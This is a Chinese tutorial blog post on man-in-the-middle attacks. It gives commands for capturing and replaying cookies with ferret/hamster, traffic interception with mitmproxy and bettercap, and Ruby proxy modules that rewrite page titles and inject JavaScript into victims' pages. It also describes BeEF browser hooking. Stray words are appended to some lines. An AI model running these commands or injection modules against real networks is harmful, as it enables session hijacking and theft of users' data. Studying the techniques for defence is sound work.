细说中间人攻击(二)

细说中间人攻击(一)介绍了比较常见的中间人攻击作法,即用wireshark抓取数据包,
用ettercap来进行出入流量的替换和修改,从而达到监控和修改目标网页的目的。然而中间人攻击的工具繁多,并不是只有ettercap一个,
所以这篇博文我将再介绍几种常见的MITM框架以及简单说明其使用方法,以达到方便监控目标和攻击目标的目的。javascript

抓取Cookie本地重现

在我搜索中间人攻击相关主题的时候,发现国内博客说起比较多的cookie盗取所用的软件是ferret&hamster,
hamster这个软件是在2007年黑客大会上Robert Graham展现用来方便在浏览器中快速重现所捕捉
到的会话的,其中ferret用来扑捉数据或者对已经扑捉的.pcap数据进行格式化处理,生成一个txt文件,而后用hamster
来读取这个txt而且在本机启动一个代理服务器,只要浏览器设置了相对应的地址(本机地址)和端口的代理
进行访问就能看见全部截获的http会话了。因为这个软件年代久远,并且只是在大会上作个demo,并非很完善的
产品,所以也有比较大的不稳定性,即使如此在现在仍是在各类博客里被屡屡说起,因此我也简单介绍下这个工具
的使用。html

hamster和ferret能够到官网[http://hamster.erratasec.com][http://hamster.erratasec.com]下载,但最近彷佛没有
更新了,毕竟快是十年前的东西。我是直接在robert的github上下载的c++源代码,整体功能并不复杂,就当学习一下大神
的coding方法了。有一点值得一提,hamster用的是32位的库,所以本身若是是64位操做系统,编译或者运行都须要安装
ia32-libs以及一些使用到的非标准库,同时源代码要进行简单的修改。为了方便我连同依赖直接fork到了这里java

再说使用方法,其实这却是最简单的,关键就三步:python

  1. 抓取指定端口的数据c++

  2. 用ferret格式化解析本地数据git

    ferret -r file.pcap //生成hamster.txtgithub

  3. hamster打开本地代理服务器,默认端口是1234web

    hamster //在和hamster.txt相同目录下打开编程

而后打开浏览器,设置代理为127.0.0.1:1234,打开http://hamster就能看到所扑捉的全部会话了,若是有cookie信息,也能直接
还原出来。其中第一步能够用任何抓包工具来作,也能够用ferret -i来抓包,这样的话一、2步也能够合并成一步。vim

中间人代理

HTTP/HTTPS代理服务器有不少,好比Fiddler2,burpsuite和mitmproxy等工具均可以创建一个代理服务器。代理服务器每每用来辅助web开发
和调试,固然也能用于渗透测试即中间人攻击。其中比较轻量级的是mitmproxy,用python编写而成,能够很容易进行拓展和定制。
mitmproxy进行HTTPS代理的过程和我在细说中间人攻击(一)的最后一节讲的大同小异,简而言之就是mitmproxy自己与服务器和
客户端双向进行SSL连接,固然前提是mitmproxy使用的证书要被信任,否则客户端进行https访问的时候浏览器地址栏会有个不信任证书的提醒。
下面介绍一下mitmproxy工具集中几个经常使用工具的使用方法。

mitmproxy

mitmproxy是一个交互式的流量监控和分析工具,其操做界面的控制方式相似于vim。直接命令行打开:

mitmproxy -p 1234

会在本地打开一个代理服务器,端口号为1234。也能够不指定,默认端口号是8080。而后使得目标经过你的这个代理上网,就能在交互界面中看到
全部的POST和GET等请求。还能够指定任意一条请求回车进入查看详细的请求数据,也能够看tab切换respond和detail数据。对于respond的数据还能够根据格式
来进行相应的展示。同时也能按e进行修改请求,而后按r进行回放。不得不说其可视化界面作得很好,全部的浏览请求一目了然。交互式的界面更适合
用于请求的分析。mitmproxy做为一个“中间人”代理,固然也能对数据进行拦截,使用i指定拦截的表达式便可。

mitmdump

与mitmproxy相对的,mitmdump是一个非交互的抓包工具,不过还提供了用python脚原本对数据包进行修改替换的操做,有点相似于ettercap的filter插件。
能够实时修改request和respond每个细节,固然也能够非实时地对mitmproxy保存的离线包进行操做。

mitmdump -n -r capture.data -w output.data [filter]

其中capture.data是mitmproxy用w键保存的数据。mitmdump能够对其过滤处理产生新的包。[filter]是过滤的条件,如“~d douban.com“表示特定域名,~h表示
特定header等等。对于新生成的数据包,咱们也能够用mitmdump重播:

mitmdump -n -c output.data

libmproxy

mitmdump的一个主要做用是支持inline脚本,用--script调用,脚本中用到了mitmdump提供的拓展库libmproxy,就像其余python第三方库同样,不过其拥有操纵
http响应每一个细节的能力,实乃居家旅行必备。用法很简单:

mitmdump -s myscript.py -p 1234

如一个修改响应文字内容的inline脚本以下:

# Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError('Usage: -s "modify-response-body.py old new"')
    # You may want to use Python's argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)

这里须要注意的是不一样版本的libmproxy的改动很是大!!我以前是直接apt-get下载的mitmproxy0.8,那时
尚未libmproxy.models,因此要注意本身的版本。建议在github上clone最新版本,用pip+virturlenv进行
包管理十分方便,目前最新版本是mitmproxy0.14.x,最新版还增长了一个mitmweb的工具,
可见其更新速度很是快,这对开源工具来讲是一件大好事。

另外在github仓库里还有inline脚本的example,文档也很齐全。除了inline调用之外,咱们甚至可使用libmproxy
来本身用python写一个mitmproxy!并且实现起来也很是简单,由于mitmproxy自己大部分功能都是基于libmproxy里实现的。

"更好的ettercap"——bettercap

不少人可能会问,既然有了ettercap,干吗还要再弄一个差很少的东西?其实按照bettercap做者的说法,ettercap虽然是个很棒的工具,
可是已通过时了,并且彷佛维护也是有气无力。ettercap在大型网络中至关不稳定,在操纵http的payload时每每还须要别的工具来辅助,
好比上面提到的mitmproxy。所以bettercap就诞生啦!

bettercap的操做也十分简单明了,好比在局域网中嗅探全部数据:

bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

其中-P指定加载的parsers,也能够不指定,默认和ettercap同样所有加载。也能够将数据保存在本地:

bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

--sniffer-filter参数表示的意思很明显,即只保存目的端口为80的tcp数据(即http)。值得一提的是,这里没有指定网关和网络接口,由于
用的都是默认值,即当前网关和当前默认网卡,固然也能够分别用-G 和 -I 指定。

模块化的透明代理

上面讲mitmproxy的时候已经介绍了代理,而bettercap正好也能够实现相似的功能,在本地启动一个中间人代理服务器而且将数据流量都经过代理收发。

bettercap --proxy --proxy-port=1234

指定代理端口为1234,默认为8080。这条命令默认只记录http请求,若是指定--proxy-module参数就能够加载你自定义的模块来操纵流量。
自定义的拓展模块用Ruby写成,语法很简单,好比一个修改网页title的例子hack_title.rb以下:

class HackTitle < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end

调用方法

bettercap --proxy --proxy-module=hack_title.rb

内嵌http服务器

其实这个选项比较鸡肋,不过也是bettercap为了达到它所说的“只用一个工具”的效果吧。其主要用途就是给payload注入JS的时候须要从服务器去请求,
bettercap能够配合proxy module很容易一步实现:

bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

其中inject.rb的代码以下:

class InjectJS < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end

目前bettercap的功能还比较简单,但优势是其更新维护很是快,能够说是突飞猛进,和ettercap等老古董造成鲜明对比呀:D

BeEF

BeEF全称为Browser Exploitation Framework,是一个著名的浏览器劫持框架,也是采用Ruby编写。虽然安装依赖的过程有点繁琐,但用起来着实简单无比,
只须要运行:

./beef

运行后会启动一个用户接口服务器和一个挂载BeEF主要JS脚本(hook.js)的服务器,其架构以下:

BeEF-overall

其中用户接口也是一个http服务器,咱们只须要在浏览器中打开,就能进入一个展示全部被注入的客户机的管理后台。若是客户端浏览的某个网页payload中加载
了hook.js,那么其一举一动都会发送到咱们的UI服务器上,包括鼠标的点击事件,点击位置,键盘事件等等,查看cookie和客户端的机器信息更是不在话下:

hook-interface

针对每一台被劫持的客户端(浏览器),咱们还能够对其发送不一样的指令,好比播放音乐,锁住页面,打开web摄像头。值得一提的是,BeEF还能配合metasploit
来入侵目标的电脑,从而在目标关闭浏览器后依旧能拥有其计算机的控制权。

后记

中间人攻击的大体方法至此就介绍得差很少了,在总结的过程当中本身也学了很多工具的的用法。虽然MITM的工具繁多,但明白其原理才能更好地去使用,
以及对其进行拓展。轮子是个好东西,人类只有几十年有效寿命和有限的精力,却可以不断发展到如今这样科技发达,靠的就是不断理解和使用轮子,把前人
的推论当成定理,能够说人类社会的进步就是一个面向对象编程的过程。可是,也不用把别人的轮子看得过于神秘,说到底中间人也就是接收,解析,发送三步而已。
至于怎么防护这类攻击,最好的方法就是浏览器禁cookie,禁javascript,禁flash,最终仍是得和我的的上网体验相权衡,毕竟若是把眼睛都蒙上了,我还上什么网呢。

欢迎交流,文章转载请注明出处.

相关文章
相关标签/搜索